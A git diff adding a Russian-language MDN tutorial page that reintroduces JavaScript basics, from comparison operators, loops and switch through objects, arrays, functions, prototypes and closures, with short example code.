+<p>Для приведения значения к строке просто прибавьте к нему пустую строку.</p>
+
+<p>Для <a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">сравнения</a> в JavaScript используются следующие операторы: <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> и <code>&gt;=</code>. Сравнивать можно не только числа, но и строки. Проверка на равенство немного сложнее. Для проверки используют двойной (<code>==</code>) или тройной (<code>===</code>) оператор присваивания. Двойной оператор <code>==</code> осуществляет автоматическое преобразование типов, что может приводить к интересным результатам:</p>
+
+<pre class="brush: js notranslate">123 == "123"; // true
+1 == true;    // true</pre>
+
+<p>Если преобразование нежелательно, то используют оператор строгого равенства:</p>
+
+<pre class="brush: js notranslate">1 === true; // false
+123 === "123"; // false
+true === true; // true</pre>
+
+<p>Для проверки на неравенство используют операторы <code>!=</code> и <code>!==</code>.</p>
+
+<p>Отдельного внимания стоят <a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">побитовые операторы</a>, с которыми вы можете ознакомиться в соответствующем разделе.</p>
+
+<h2 id="Управляющие_структуры">Управляющие структуры</h2>
+
+<p>Управляющие структуры в JavaScript очень похожи на таковые в языках семейства C. Условные операторы выражены ключевыми словами <code>if</code> и <code>else</code>, которые можно составлять в цепочки:</p>
+
+<pre class="brush: js notranslate">var name = "kittens";
+if (name == "puppies") {
+  name += "!";
+} else if (name == "kittens") {
+  name += "!!";
+} else {
+  name = "!" + name;
+}
+name == "kittens!!"
+</pre>
+
+<p>В JavaScript есть три типа циклов: <code>while</code>, <code>do-while</code> и <code>for</code>. While используется для задания обычного цикла, а do-while  целесообразно применить в том случае, если вы хотите, чтобы цикл был выполнен хотя бы один раз:</p>
+
+<pre class="brush: js notranslate">while (true) {
+  // бесконечный цикл!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input))
+</pre>
+
+<p>Цикл <code>for</code> похож на такой же в языках C и Java: он позволяет задавать данные для контроля за выполнением цикла:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 5; i++) {
+  // Выполнится 5 раз
+}
+</pre>
+
+<p>JavaScript также содержит две других известных конструкции: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p>
+
+<pre class="brush: js notranslate">for (let value of array) {
+  // операции с value
+}</pre>
+
+<p>и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p>
+
+<pre class="brush: js notranslate">for (let property in object) {
+  // операции над свойствами объекта
+}</pre>
+
+<p>Логические операторы <code>&amp;&amp;</code> и <code>||</code> используют "короткий цикл вычисления", это значит, что вычисление каждого последующего оператора зависит от предыдущего. Например, полезно проверить существует ли объект или нет, прежде чем пытаться получить доступ к его свойствам:</p>
+
+<pre class="brush: js notranslate">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>Таким способом удобно задавать значения по умолчанию:</p>
+
+<pre class="brush: js notranslate">var name = otherName || "default";
+</pre>
+
+<p>К условным операторам в JavaScript принадлежит также тернарный оператор "<code>?</code>" :</p>
+
+<pre class="brush: js notranslate">var allowed = (age &gt; 18) ? "yes" : "no";
+</pre>
+
+<p>Оператор <code>switch</code> используется при необходимости множественного сравнения:</p>
+
+<pre class="brush: js notranslate">switch(action) {
+    case 'draw':
+        drawit();
+        break;
+    case 'eat':
+        eatit();
+        break;
+    default:
+        donothing();
+}
+</pre>
+
+<p>Если в конце инструкции <code>case</code> не добавить останавливающую инструкцию <code>break</code>, то выполнение перейдёт к следующей инструкции <code>case</code>. Как правило, такое поведение нежелательно, но если вдруг вы решили его использовать, настоятельно рекомендуем писать соответствующий комментарий для облегчения поиска ошибок:</p>
+
+<pre class="brush: js notranslate">switch(a) {
+    case 1: // fallthrough
+    case 2:
+        eatit();
+        break;
+    default:
+        donothing();
+}
+</pre>
+
+<p>Вариант <code>default</code> опциональный. Допускается использование выражений как в условии <code>switch</code>, так и в <code>cases</code>. При проверке на равенство используется оператор строгого равенства <code>===</code>:</p>
+
+<pre class="brush: js notranslate">switch(1 + 3) {
+    case 2 + 2:
+        yay();
+        break;
+    default:
+        neverhappens();
+}
+</pre>
+
+<h2 id="Объекты">Объекты</h2>
+
+<p>Объекты в JavaScript представляют собой коллекции пар имя-значение (ключ-значение). Они похожи на:</p>
+
+<ul>
+ <li>Словари в Python.</li>
+ <li>Хеши в Perl и Ruby.</li>
+ <li>Таблицы хешей в C и C++.</li>
+ <li>HashMaps в Java.</li>
+ <li>Ассоциативные массивы в PHP.</li>
+</ul>
+
+<p>Именем свойства объекта в JavaScript выступает строка, а значением может быть любой тип данных JavaScript, даже другие объекты. Это позволяет создавать структуры данных любой сложности.</p>
+
+<p>Существует два основных способа создать объект:</p>
+
+<pre class="brush: js notranslate">var obj = new Object();
+</pre>
+
+<p>А также:</p>
+
+<pre class="brush: js notranslate">var obj = {};
+</pre>
+
+<p>Обе эти записи делают одно и то же. Вторая запись называется литералом объекта и более удобная. Такой способ является основой формата JSON, и при написании кода лучше использовать именно его.</p>
+
+<p>С помощью литерала объекта можно создавать не только пустые объекты, но и объекты с данными:</p>
+
+<pre class="brush: js notranslate">var obj = {
+  name: "Carrot",
+  "for": "Max",
+  details: {
+    color: "orange",
+    size: 12
+  }
+}
+</pre>
+
+<p>Доступ к свойствам объекта можно получить следующими способами:</p>
+
+<pre class="brush: js notranslate">obj.details.color; // orange
+obj['details']['size']; // 12</pre>
+
+<p>Эти два метода равнозначны. Первый метод используется, если мы точно знаем к какому методу нам нужно обратиться. Второй метод принимает в качестве имени свойства строку, и позволяет вычислять имя в процессе вычислений. Следует отметить, что последний метод мешает некоторым движкам и минимизаторам оптимизировать код. Если появится необходимость назначить в качестве имён свойств объекта <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords" title="en/Core_JavaScript_1.5_Reference/Reserved_Words">зарезервированные слова</a>, то данный метод тоже может пригодиться:</p>
+
+<pre class="brush: js notranslate">// Вызовет Syntax error, ведь 'for' это зарезервированное слово
+obj.for = "Simon";
+
+// А тут всё нормально
+obj["for"] = "Simon";
+
+</pre>
+
+<div class="note">
+<p><strong>На заметку:</strong> Стандарт EcmaScript 5 позволяет использовать зарезервированные слова в качестве имён свойств объекта без "оборачивания" их в кавычки. Подробнее в <a href="http://es5.github.io/#x7.6.1">спецификации ES5</a>.</p>
+</div>
+
+<p>Больше информации об объектах и прототипах: <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>.</p>
+
+<p>Для получения информации по прототипам объектов и цепям прототипов объектов смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a>.</p>
+
+<div class="blockIndicator note">
+<p>Начиная с ECMAScript 2015, ключи объектов могут быть определены переменными с  использованием квадратных скобок при создании: <code>{[phoneType]: 12345}</code> допустимо вместо  <code>var userPhone = {}; userPhone[phoneType] = 12345</code>.</p>
+</div>
+
+<h2 id="Массивы">Массивы</h2>
+
+<p>Массивы в JavaScript всего лишь частный случай объектов. Работают они практически одинаково (если именем свойства является число, то доступ к нему можно получить только через вызов в скобках []), только у массивов есть одно удивительное свойство '<code>length</code>' (длина). Оно возвращает число, равное самому большому индексу массива + 1.</p>
+
+<p>Создать массив можно по старинке:</p>
+
+<pre class="brush: js notranslate">var a = new Array();
+a[0] = "dog";
+a[1] = "cat";
+a[2] = "hen";
+a.length; // 3
+</pre>
+
+<p>Но гораздо удобнее использовать литерал массива:</p>
+
+<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"];
+a.length; // 3
+</pre>
+
+<p>Запомните, свойство <code>array.length</code> не обязательно будет показывать количество элементов в массиве. Посмотрите пример:</p>
+
+<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"];
+a[100] = "fox";
+a.length; // 101
+</pre>
+
+<p>Запомните — длина массива это его самый большой индекс плюс один.</p>
+
+<p>Если попытаться получить доступ к несуществующему элементу массива, то получите <code>undefined</code>:</p>
+
+<pre class="brush: js notranslate">typeof a[90]; // undefined
+</pre>
+
+<p>Для перебора элементов массива используйте такой способ:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+    // Сделать что-нибудь с элементом a[i]
+}
+</pre>
+
+<p>ES2015 представляет более краткий <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> способ обхода по итерируемым объектам, в т.ч. массивам:</p>
+
+<pre class="notranslate"><code>for (const currentValue of a) {
+  // С</code>делать что-нибудь с<code> currentValue
+}</code>
+</pre>
+
+<p>Перебрать элементы массива также можно с помощью цикла <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...in</a></code>. Но, если вдруг будет изменено какое-либо свойство <code>Array.prototype</code>, то оно тоже будет участвовать в выборке. Не используйте данный метод.</p>
+
+<p>И самый новый способ перебора свойств массива был добавлен в ECMAScript 5 — это метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a>:</p>
+
+<pre class="brush: js notranslate">["dog", "cat", "hen"].forEach(function(currentValue, index, array) {
+// Сделать что-нибудь с currentValue или array[index]
+});</pre>
+
+<p>Для добавления данных в массив используйте метод <code>push()</code>:</p>
+
+<pre class="brush: js notranslate">a.push(item);</pre>
+
+<p>У массивов есть ещё множество полезных методов. С их полным списком вы можете ознакомиться <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">по ссылке</a>.</p>
+
+<table style="height: 124px; width: 598px;">
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a.toString()</code></td>
+   <td>Возвращает строковое представление массива, где все элементы разделены запятыми.</td>
+  </tr>
+  <tr>
+   <td><code>a.toLocaleString()</code></td>
+   <td>Возвращает строковое представление массива в соответствии с выбранной локалью.</td>
+  </tr>
+  <tr>
+   <td><code>a.concat(item1[, item2[, ...[, itemN]]])​</code></td>
+   <td>Возвращает новый массив с добавлением указанных элементов.</td>
+  </tr>
+  <tr>
+   <td><code>a.join(sep)</code></td>
+   <td>Преобразует массив в строку, где в качестве разделителя используется параметр <code>sep</code></td>
+  </tr>
+  <tr>
+   <td><code>a.pop()</code></td>
+   <td>Удаляет последний элемент массива и возвращает его.</td>
+  </tr>
+  <tr>
+   <td><code>a.push(item1, ..., itemN)</code></td>
+   <td>Добавляет один или более элементов в конец массива.</td>
+  </tr>
+  <tr>
+   <td><code>a.reverse()</code></td>
+   <td>Меняет порядок элементов массива на обратный.</td>
+  </tr>
+  <tr>
+   <td><code>a.shift()</code></td>
+   <td>Удаляет первый элемент массива и возвращает его.</td>
+  </tr>
+  <tr>
+   <td><code>a.slice(start[, end])</code></td>
+   <td>Возвращает новый массив.</td>
+  </tr>
+  <tr>
+   <td><code>a.sort([cmpfn])</code></td>
+   <td>Сортирует данные в массиве.</td>
+  </tr>
+  <tr>
+   <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td>
+   <td>Позволяет вырезать из массива его часть и добавлять на это место новые элементы.</td>
+  </tr>
+  <tr>
+   <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>Добавляет элементы в начало массива.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Функции">Функции</h2>
+
+<p>Наряду с объектами функции также являются ключевыми компонентами языка JavaScript. Базовые функции очень просты:</p>
+
+<pre class="brush: js notranslate">function add(x, y) {
+    var total = x + y;
+    return total;
+}
+</pre>
+
+<p>В этом примере показано практически всё, что нужно знать о функциях. Функции в JavaScript могут принимать ноль или более параметров. Тело функции может содержать любые выражения и определять свои собственные переменные, которые будут для этой функции локальными. Инструкция <code>return</code> используется для возврата значения и остановки выполнения функции. Если инструкции return в функции нет (или есть, но не указано возвращаемое значение), то JavaScript возвратит <code>undefined</code>.</p>
+
+<p>Можно вызвать функцию, вообще не передавая ей параметры. В таком случае будет считаться, что их значения равны <code>undefined</code>:</p>
+
+<pre class="brush: js notranslate">add(); // NaN
+// Нельзя проводить сложение undefined и undefined</pre>
+
+<p>Можно передать больше аргументов, чем ожидает функция:</p>
+
+<pre class="brush: js notranslate">add(2, 3, 4); // 5
+// используются только первые два аргумента, "4" игнорируется</pre>
+
+<p>Это может показаться бессмысленным, но на самом деле функции могут получить доступ к "лишним" аргументам с помощью псевдомассива <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments" title="En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments"><code>arguments</code></a>, в нём содержатся значения всех аргументов, переданных функции. Давайте напишем функцию, которая принимает неограниченное количество аргументов:</p>
+
+<pre class="brush: js notranslate">function add() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum;
+}
+
+add(2, 3, 4, 5); // 14
+</pre>
+
+<p>Или создадим функцию для вычисления среднего значения:</p>
+
+<pre class="brush: js notranslate">function avg() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<p>Это довольно  полезно, но при этом кажется излишне подробным. Для уменьшения количества кода взглянем на замену использования массива аргументов способом  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameter syntax</a>. В этом случае мы можем передавать в функцию любое количество аргументов, сохраняя код минималистичным. <strong>Rest parameter operator</strong> используется в списке параметров функции в формате: <strong>...variable</strong> и включает в себя целый список аргументов, с которыми функция будет вызвана. Мы будем также использовать замену цикла <strong>for</strong>  циклом <strong>for...of</strong> для получения значений, которые будет содержать наша переменная.</p>
+
+<pre class="brush: js notranslate">function avg(...args) {
+  var sum = 0;
+  for (let value of args) {
+    sum += value;
+  }
+  return sum / args.length;
+}
+
+avg(2, 3, 4, 5); // 3.5</pre>
+
+<div class="blockIndicator note">
+<p>В вышенаписанном коде переменная <strong>args</strong> содержит все значения, которые были переданы в функцию.<br>
+ <br>
+ Важно отметить, что где бы ни был  размещен <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы  <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это еще одно полезное свойство языка, однако оно ведет нас к новой проблеме.  <code>avg()</code> функция принимает список аргументов, разделенный запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p>
+</div>
+
+<pre class="brush: js notranslate">function avgArray(arr) {
+  var sum = 0;
+  for (var i = 0, j = arr.length; i &lt; j; i++) {
+    sum += arr[i];
+  }
+  return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5</pre>
+
+<p>На тот случай, если вы хотите использовать первый вариант функции, а не переписывать её заново, то в JavaScript есть возможность вызывать функцию с произвольным массивом аргументов. Для этого используется метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply">apply()</a>:</code></p>
+
+<pre class="brush: js notranslate">avg.apply(null, [2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>Вторым аргументом метода <code>apply()</code> передаётся массив, который будет передан функции в качестве аргументов. О первом аргументе мы поговорим позже. Наличие у функций методов также говорит о том, что на самом деле они являются объектами.</p>
+
+<div class="blockIndicator note">
+<p>Этот же результат можно получить, используя <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> в вызове функции.</p>
+
+<p>For instance: <code>avg(...numbers)</code></p>
+</div>
+
+<p>В JavaScript можно создавать анонимные функции:</p>
+
+<pre class="brush: js notranslate">var avg = function() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+</pre>
+
+<p>Данная запись семантически равнозначна записи <code>function</code> <code>avg()</code>. Это даёт возможность использовать разные интересные трюки. Вот посмотрите, как можно "спрятать" локальные переменные в функции:</p>
+
+<pre class="brush: js notranslate">var a = 1;
+var b = 2;
+(function() {
+    var b = 3;
+    a += b;
+})();
+a; // 4
+b; // 2
+</pre>
+
+<p>В JavaScript есть возможность рекурсивного вызова функции. Это может оказаться полезным при работе с иерархическими (древовидными) структурами данных (например такие, которые встречаются при работе с <a href="/ru/DOM" title="en/DOM">DOM</a>).</p>
+
+<pre class="brush: js notranslate">function countChars(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += countChars(child);
+    }
+    return count;
+}
+</pre>
+
+<p>Тут мы сталкиваемся с проблемой: как вызвать функцию рекурсивно, если у неё нет имени? Для этого в JavaScript есть именованные функциональные выражения <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFEs (Immediately Invoked Function Expressions)</a>. Вот пример использования именованной самовызывающейся функции:</p>
+
+<pre class="brush: js notranslate">var charsInBody = (function counter(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += counter(child);
+    }
+    return count;
+})(document.body);
+</pre>
+
+<p>Имя функции в примере доступно только внутри самой функции. Это улучшает оптимизацию и читаемость кода.</p>
+
+<h2 id="Собственные_объекты">Собственные объекты</h2>
+
+<div class="note"><strong>На заметку:</strong> Для более подробной информации по объектно-ориентированному программированию в JavaScript смотрит <a href="/ru/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="https://developer.mozilla.org/en/Introduction_to_Object-Oriented_JavaScript">Введение в объектно-ориентированный JavaScript</a>.</div>
+
+<p>В классическом Объектно-Ориентированном Программировании (ООП) объекты — это коллекции данных и методов, которые этими данными оперируют. JavaScript - это язык, основанный на прототипах, и в его определении нет понятия классов, таких, как в языках C++ или Java. (Иногда это может запутать программистов, знакомых с языками, в которых есть классы.) Вместо классов JavaScript использует функции. Давайте представим объект с личными данными, содержащий поля с именем и фамилией. Есть два типа отображения имён: "Имя Фамилия" или "Фамилия, Имя". С помощью объектов и функций можно сделать следующее:</p>
+
+<div class="blockIndicator warning">
+<pre class="brush: js notranslate">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last
+    }
+}
+
+function personFullName(person) {
+    return person.first + ' ' + person.last;
+}
+
+function personFullNameReversed(person) {
+    return person.last + ', ' + person.first
+}
+
+s = makePerson("Simon", "Willison");
+personFullName(s); // Simon Willison
+personFullNameReversed(s); // Willison, Simon
+</pre>
+</div>
+
+<p>Работает, но сам код никуда не годится. С таким подходом у вас будут десятки функций, засоряющих глобальный объект. Это можно исправить, прикрепив функцию к объекту. Это просто, ведь все функции и есть объекты:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last,
+        fullName: function() {
+            return this.first + ' ' + this.last;
+        },
+        fullNameReversed: function() {
+            return this.last + ', ' + this.first;
+        }
+    }
+}
+s = makePerson("Simon", "Willison")
+s.fullName(); // Simon Willison
+s.fullNameReversed(); // Willison, Simon
+</pre>
+
+<p>А вот кое-что новенькое: ключевое слово '<code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>'. Когда '<code>this</code>' используется внутри функции, оно ссылается на текущий объект. Значение ключевого слова зависит от способа вызова функции. Если вызвать функцию с обращением к объекту через <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="en/Core_JavaScript_1.5_Reference/Operators/Member_Operators">точку или квадратные скобки</a>, то '<code>this</code>' получится равным данному объекту. В ином случае '<code>this</code>' будет ссылаться на глобальный объект. Это часто приводит к ошибкам. Например:</p>
+
+<pre class="brush: js notranslate">s = makePerson("Simon", "Willison")
+var fullName = s.fullName;
+fullName(); // undefined undefined
+</pre>
+
+<p>При вызове <code>fullName()</code>, '<code>this</code>' получает ссылку на глобальный объект. А так как в глобальном объекте не определены переменные <code>first</code> и <code>last</code>, то имеем два <code>undefined</code>.</p>
+
+<p>Используя особенность ключевого слова '<code>this</code>', можно улучшить код функции <code>makePerson</code>:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = function() {
+        return this.first + ' ' + this.last;
+    };
+    this.fullNameReversed = function() {
+        return this.last + ', ' + this.first;
+    };
+}
+var s = new Person("Simon", "Willison");
+</pre>
+
+<p>В примере мы использовали новое ключевое слово: '<code><a href="/ru/docs/Web/JavaScript/Reference/Operators/new" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new</a></code>'. Оно тесно связано с '<a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a>'. Данное ключевое слово создаёт новый пустой объект, а потом вызывает указанную функцию, а <code>this</code> получает ссылку на этот новый объект. Функции, которые предназначены для вызова с '<code>new</code>' называются конструкторами. Существует соглашение, согласно которому все функции-конструкторы записываются с заглавной буквы.</p>
+
+<p>Мы доработали наш код в предыдущем примере, но всё равно остался один неприятный момент с самостоятельным вызовом  <code>fullName()</code>.</p>
+
+<p>Каждый раз, когда с помощью конструктора создаётся новый объект, мы заново создаём и две новые функции. Гораздо удобнее создать эти функции отдельно и дать доступ к ним конструктору:</p>
+
+<pre class="brush: js notranslate">function personFullName() {
+    return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+    return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = personFullName;
+    this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>Уже лучше: мы создали функции-методы только один раз, а при новом вызове функции-конструктора просто ссылаемся на них. Можно сделать ещё лучше? Конечно:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+}
+<code>Person.prototype.fullName = function fullName() {</code>
+    return this.first + ' ' + this.last;
+}
+<code>Person.prototype.fullNameReversed = function fullNameReversed() {</code>
+    return this.last + ', ' + this.first;
+}
+</pre>
+
+<p><code>Person.prototype</code> это объект, доступ к которому есть у всех экземпляров класса <code>Person</code>. Он создаёт особую цепочку прототипов. Каждый раз, когда вы пытаетесь получить доступ к несуществующему свойству объекта <code>Person</code>, JavaScript проверяет, существует ли свойство в <code>Person.prototype</code>. В результате все, что передано в <code>Person.prototype</code>, становится доступным и всем экземплярам этого конструктора через <code>this</code> объект.</p>
+
+<p>Это очень мощный инструмент. JavaScript позволяет изменять прототипы в любое время, это значит, что можно добавлять новые методы к существующим объектам во время выполнения программы:</p>
+
+<pre class="brush: js notranslate">s = new Person("Simon", "Willison");
+s.firstNameCaps();
+// TypeError on line 1: s.firstNameCaps is not a function
+
+Person.prototype.firstNameCaps = function() {
+    return this.first.toUpperCase()
+}
+s.firstNameCaps(); // "SIMON"
+</pre>
+
+<p>Занимательно то, что добавлять свойства в прототип можно и для встроенных объектов JavaScript. Давайте добавим новый метод <code>reversed </code>классу <code>String</code>, этот метод будет возвращать строку задом наперёд:</p>
+
+<pre class="brush: js notranslate">var s = "Simon";
+s.reversed()<code>; // TypeError on line 1: s.reversed is not a function</code>
+
+String.prototype.reversed = function <code>reversed</code>() {
+    var r = "";
+    for (var i = this.length - 1; i &gt;= 0; i--) {
+        r += this[i];
+    }
+    return r;
+}
+s.reversed(); // "nomiS"
+</pre>
+
+<p>Данный метод будет работать даже на литералах строки!</p>
+
+<pre class="brush: js notranslate">"This can now be reversed".reversed();
+// desrever eb won nac sihT
+</pre>
+
+<p>Как уже упоминалось, prototype формирует часть цепочки. Конечным объектом этой цепочки прототипов является <code>Object.prototype</code>, методы которого включают и <code>toString()</code> — тот метод, который вызывается тогда, когда надо получить строковое отображение объекта. Вот что можно сделать с нашими объектами <code>Person</code>:</p>
+
+<pre class="brush: js notranslate">var s = new Person("Simon", "Willison");
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+    return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+
+s.toString(); // "&lt;Person: Simon Willison&gt;"</pre>
+
+<p>Помните, мы вызывали <code>avg.apply()</code> с первым аргументом равным null? Теперь мы можем сделать так: первым аргументом, переданным методу <code>apply()</code> будет объект, который примет значение '<code>this</code>'. Вот к примеру упрощённая реализация '<code>new</code>':</p>
+
+<pre class="brush: js notranslate">function trivialNew(constructor, ...args) {
+    var o = {}; // Создаём новый объект
+    constructor.apply(o, args);
+    return o;
+}
+</pre>
+
+<p>Это не точная копия <code>new</code>, так как она не устанавливает цепочку прототипов (это сложно ). Метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply()</a></code> применяется не очень часто, но знать его важно. В примере выше, запись <code>...args</code> (включая многоточие) называется "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>"— она включает в себя все оставшиеся аргументы.</p>
+
+<p>Вызов</p>
+
+<pre class="brush: js notranslate">var bill = trivialNew(Person, 'William', 'Orange');</pre>
+
+<p>практически полностью эквивалентен этому:</p>
+
+<pre class="brush: js notranslate">var bill = new Person('William', 'Orange');</pre>
+
+<p>В JavaScript метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply()</a></code> имеет похожий метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/call"><code>call()</code></a>, который тоже позволяет устанавливать '<code>this</code>', но принимает список, а не массив аргументов.</p>
+
+<pre class="brush: js notranslate">function lastNameCaps() {
+    return this.last.toUpperCase();
+}
+var s = new Person("Simon", "Willison");
+lastNameCaps.call(s);
+// Аналогично записи:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps(); <code>// WILLISON</code></pre>
+
+<h2 id="Вложенные_функции">Вложенные функции</h2>
+
+<p>Объявлять новые функции можно и внутри других функций. Мы использовали этот приём чуть выше, создавая функцию <code>makePerson()</code>. Главная особенность вложенных функций в том, что они получают доступ к переменным, объявленным в их функции-родителе:</p>
+
+<pre class="brush: js notranslate">function parentFunc() {
+  var a = 1;
+
+  function nestedFunc() {
+    var b = 4; // parentFunc can't use this
+    return a + b;
+  }
+  return nestedFunc(); // 5
+}</pre>
+
+<p>Это очень полезное свойство, которое делает сопровождение кода более удобным. Если ваша функция в своей работе использует другие функции, которые больше нигде не используются, то можно просто вложить вспомогательные функции в основную. Это сократит количество функций в глобальном объекте, что довольно неплохо.</p>
+
+<p>Ещё это отличный способ сократить количество глобальных переменных. Так при написании кода у нас часто будет возникать искушение понасоздавать глобальных переменных, которые будут доступны разным функциям. Всё это усложняет код, делает его менее читаемым. Вложенные функции имеют доступ к переменным своей функции-родителя, и мы можем использовать это для группировки множества функций вместе (естественно в разумных пределах), что позволит держать наш глобальный объект в чистоте и порядке.</p>
+
+<h2 id="Замыкания_Closures"><a href="/ru/docs/Web/JavaScript/Closures">Замыкания</a> (Closures)</h2>
+
+<p>Мы подошли к одному из самых мощных и непонятных инструментов JavaScript. Давайте разберёмся.</p>
+
+<pre class="brush: js notranslate">function makeAdder(a) {
+    return function(b) {
+        return a + b;
+    };
+}
+
+var x = makeAdder(5);
+var y = makeAdder(20);
+x(6); // ?
+y(7); // ?
+</pre>
+
+<p>Функция <code>makeAdder</code> создаёт новую функцию, которая прибавляет полученное значение к значению, которые было получено при создании функции.</p>
+
+<p>Такой же фокус мы наблюдали в предыдущем примере, когда внутренние функции получали доступ к переменным той функции, в которой были объявлены. Только в нашем примере основная функция возвращает вложенную. Поначалу может показаться, что локальные переменные при этом перестанут существовать. Но они продолжают существовать — иначе код попросту не сработал бы. Вдобавок ко всему у нас есть две разные "копии" функции <code>makeAdder</code>, присвоенные разным переменным (одна копия, в которой <code>а</code> - это 5, а во второй <code>а</code> - это 20). Вот что имеем в результате вызова:</p>
+
+<pre class="brush: js notranslate">x(6); // возвратит 11
+y(7); // возвратит 27
+</pre>
+
+<p>И вот что произошло: когда JavaScript выполняет функцию, создаётся объект 'scope', который содержит в себе все локальные переменные, объявленные внутри этой функции. Он инициализируется любым значением, переданным функции в качестве параметра. 'Scope' подобен глобальному объекту, который содержит все глобальные переменные и функции, кроме нескольких важных отличий: при каждом вызове функции создаётся новый объект 'scope' и, в отличие от глобального, к объекту 'scope' нельзя получить прямой доступ из вашего кода. И нет способа пройтись по свойствам данного объекта.</p>
+
+<p>Так что при вызове функции <code>makeAdder</code> создаётся новый объект 'scope' с единственным свойством: <code>a</code>, которому присваивается значение, переданное функции в качестве аргумента.  Потом <code>makeAdder</code> возвращает новую анонимную функцию. В любом другом случае 'сборщик мусора' удалил бы объект scope, но возвращаемая функция ссылается на этот объект. В итоге объект scope не удаляется до тех пор, пока существует хотя бы одна ссылка на него.</p>
+
+<p>Все объекты scope соединяются в цепочку областей видимости, которая похожа на цепочку прототипов в объектной системе JavaScript'а.</p>
+
+<p><strong>Замыкание</strong> это связка из функции и объекта scope, созданного при её вызове. <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">Подробнее о замыканиях здесь</a>.</p>
diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html
new file mode 100644
index 0000000000..0febcbb623
--- /dev/null
+++ b/files/ru/web/javascript/closures/index.html
@@ -0,0 +1,345 @@
+---
